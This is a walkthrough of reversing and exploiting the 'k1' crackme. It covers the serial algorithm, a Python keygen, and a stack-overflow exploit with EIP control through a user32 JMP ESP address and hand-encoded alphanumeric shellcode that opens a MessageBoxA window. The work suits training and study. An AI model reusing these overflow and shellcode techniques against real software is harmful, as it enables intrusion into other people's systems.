(buggy) k1 Walkthrough

reference crackmes.de's k1 by xtfusion

Buggy crackme with a buggy solution

Scan with DIE:

static

Load the binary with ghidra, find the reference to function _gets:

partial.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_printf(s_Created_by:_xtFusion_Crackme : _K1_00402000);
_printf("Name: ");
_gets(name);
_printf("Serial: ");
_gets(serial);
i = 0;
name_len = _strlen(name);
while (i < name_len)
{
local_18 += (int)name[i] * 0x50;
local_1c = local_18 + local_1c ^ 0x32;
local_20 += local_1c * 4;
local_24 = local_1c + local_20 + local_18;
i++;
}
_wsprintfA(result, "%x", local_24);

// compare serial_len of array result with array serial
// only min(name_len, serial_len)
check = 0;
i = 0;
serial_len = _strlen(serial);
while (i < serial_len)
{
if (result[i] != serial[i])
{
check = 1;
}
i++;
}

if (check != 1)
{
_printf("\nCorect, now make a keygen\n");
}

But I’m confused by the uninitialized variables: local_18, local_1c, local_20.

dynamic

Debug with r2, the first while loop which calculate the right serial:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
     0x00401300      mov dword [ebp - 0xc], 0        ; [ebp - 0xc] = 0
; [ebp - 0xc]: variable i
.-> 0x00401307 lea eax, [ebp - 0x68] ; eax = ebp - 0x68
: ; eax = address of variable name
: 0x0040130a mov dword [esp], eax ; [esp] = eax
: ; like push eax on the top of the stack, but in place
: 0x0040130d call sym._strlen ; eax = length of [ebp - 0x68]
: 0x00401312 cmp dword [ebp - 0xc], eax
,==< 0x00401315 jae 0x401362 ; if [ebp - 0xc] >= eax, jmp 0x401362
|:
|: 0x00401317 lea eax, [ebp - 8] ; eax = ebp - 8
|: 0x0040131a add eax, dword [ebp - 0xc] ; eax += [ebp - 0xc]
|: ; eax += i
|: 0x0040131d sub eax, 0x60 ; eax -= 0x60
|: 0x00401320 movsx edx, byte [eax] ; edx = byte [eax]
|: 0x00401323 mov eax, edx ; eax = edx
|: ; eax = ord(char of name)
|: ; edx = ord(char of name)
|:
|: 0x00401325 shl eax, 2 ; eax *= 4
|: 0x00401328 add eax, edx ; eax += edx
|: ; eax *= 5
|: 0x0040132a mov edx, eax ; edx = eax
|: 0x0040132c shl edx, 4 ; edx *= 16
|: ; edx = ord(char of name) * 80
|:
|: 0x0040132f lea eax, [ebp - 0x14] ; eax = ebp - 0x14
|: 0x00401332 add dword [eax], edx ; [eax] += edx
|: 0x00401334 mov eax, dword [ebp - 0x14] ; eax = [ebp - 0x14]
|: 0x00401337 add eax, dword [ebp - 0x18] ; eax += [ebp - 0x18]
|: ; eax = [ebp - 0x14] + [ebp - 0x18]
|: 0x0040133a xor eax, 0x32 ; eax ^= 0x32
|:
|: 0x0040133d mov dword [ebp - 0x18], eax ; [ebp - 0x18] = eax
|: 0x00401340 mov eax, dword [ebp - 0x18] ; eax = [ebp - 0x18]
|:
|: 0x00401343 lea edx, [eax*4] ; edx = eax * 4
|: 0x0040134a lea eax, [ebp - 0x1c] ; eax = ebp - 0x1c
|: 0x0040134d add dword [eax], edx ; [eax] += edx
|: 0x0040134f mov eax, dword [ebp - 0x18] ; eax = [ebp - 0x18]
|: 0x00401352 add eax, dword [ebp - 0x1c] ; eax += [ebp - 0x1c]
|: 0x00401355 add eax, dword [ebp - 0x14] ; eax += [ebp - 0x14]
|: 0x00401358 mov dword [ebp - 0x20], eax ; [ebp - 0x20] = eax
|: 0x0040135b lea eax, [ebp - 0xc] ; eax = ebp - 0xc
|: ; eax = address of i
|: 0x0040135e inc dword [eax] ; i += 1
|`=< 0x00401360 jmp 0x4013b5
`--> 0x00401362 mov eax, dword [ebp - 0x20] ; eax = [ebp - 0x20]
0x00401365 mov dword [esp + 8], eax
0x00401369 mov dword [esp + 4], 0x403010
0x00401371 lea eax, [ebp - 0x48]
0x00401374 mov dword [esp], eax
0x00401377 call sym._wsprintfA

Set a breakpoint at wsprintfA:

Or set a breakpoint at cmp al, byte [edx] in the second loop:

Decode with xxd:

proof

As shown above in the decompiled codes, the allowed length of serial is [1, name_len]:

This may also works:

Patched version with initialized variables (all set to 0), which comes from the original solution:

keygen

The fastest way:

  1. name whatever
  2. serial enter

The intended way:

keygen.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

import sys

# may vary between different machines
# may vary between the same machine when the piece of memory is overwritten (?)
local_14 = 0x3c # 0 for the patched version
local_18 = 0x60ff58 # 0 for the patched version
local_1c = 0x401220 # 0 for the patched version

if len(sys.argv) != 2:
print("usage: {} name".format(sys.argv[0]), file=sys.stderr)
exit(1)

name = sys.argv[1]
length = len(name)

for i in range(0, length):
local_14 = local_14 + 80 * ord(name[i])
local_18 = (local_14 + local_18) ^ 0x32
local_1c = local_18 * 4 + local_1c

local_20 = local_14 + local_18 + local_1c
print("{:x}".format(local_20))

Length between 1 to len(serial) should be fine.

pwn

As shown above in the decompile section, there’re two gets in the program.

Here I use x32dbg instead, since Immunity Debugger doesn’t show all processes even if under administrator privileges.

Plugin klks/checksec:

stack

200 length of ‘a’:

Offset 140:

Control EIP:

Redirect stdin/stdout to port 8000 to transfer unprintable bytes:

1
.\nc.exe -nvlp 8000 | .\xtfK1.exe

affected by nc?

Badchars:

After removing \x00\x0a\x0d\x1a:

The address of JMP ESP contains badchars:

Maybe I can guess the ASLR-enabled addresses by brute forcing, since the program is 32-bit.

Load the program in Windows XP SP3:

Control EIP:

Not too much memory spaces:

exploit.py
1
2
3
4
5
payload = "A" * 140
# User32.dll 0x7e48227c
payload += "\x7c\x22\x48\x7e"
payload += "C" * 80
print payload

Popup a window using MessageBoxA:

The original assembly:

MessageBoxA
1
2
3
4
5
6
7
8
push eax             ; '\0'
push 0x646e770
mov ecx, esp ; address of 'pwnd'
push eax ; 0
push ecx ; address of 'pwnd'
push eax ; 0
push eax ; 0
call 0x7e4507ea ; MessageBoxA

Alphanumeric encoded shellcode by hand:

Add/sub to encode call 0x7e4507ea:

shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
push eax             ; eax should be 0 now
push 0x646E7770 ; 'pwnd'
push esp
pop ecx ; address of 'pwnd'
push esp
pop eax
push esp
pop edx ; address of 'pwnd', backup for later use
sub eax,0x55555521 ; only `sub eax, xxx` is allowed for Alphanumeric shellcode
sub eax,0x55555421
sub eax,0x55555648
push eax
pop esp
push 0x7E
and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x55555555
sub eax,0x55555555
sub eax,0x334D556E ; encode intruction e8070822
push eax ; write to memory on the fly
push edx
pop esp
push esi ; 0, esi should be 0 now
push ecx ; address of string 'pwnd', 4 bytes to save life
push esi ; 0
push esi ; 0
jne 0x22FFE6 ; jump to the generated instruction `call USER32.MessageBoxA`
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

payload = "A" * 140
payload += "\x7c\x22\x48\x7e"
payload += "\x50"
payload += "\x68\x70\x77\x6e\x64"
payload += "\x54"
payload += "\x59"
payload += "\x54"
payload += "\x58"
payload += "\x54"
payload += "\x5a"
payload += "\x2d\x21\x55\x55\x55"
payload += "\x2d\x21\x54\x55\x55"
payload += "\x2d\x48\x56\x55\x55"
payload += "\x50"
payload += "\x5c"
payload += "\x6a\x7e"
payload += "\x25\x4a\x4d\x4e\x55"
payload += "\x25\x35\x32\x31\x2a"
payload += "\x2d\x55\x55\x55\x55"
payload += "\x2d\x55\x55\x55\x55"
payload += "\x2d\x6e\x55\x4d\x33"
payload += "\x50"
payload += "\x52"
payload += "\x5c"
payload += "\x56"
payload += "\x51"
payload += "\x56"
payload += "\x56"
payload += "\x75\x25"
payload += "C" * 15

print(payload)

But the window only pops up in debugger:

why..

seh

Offset 212 with more than 800 bytes: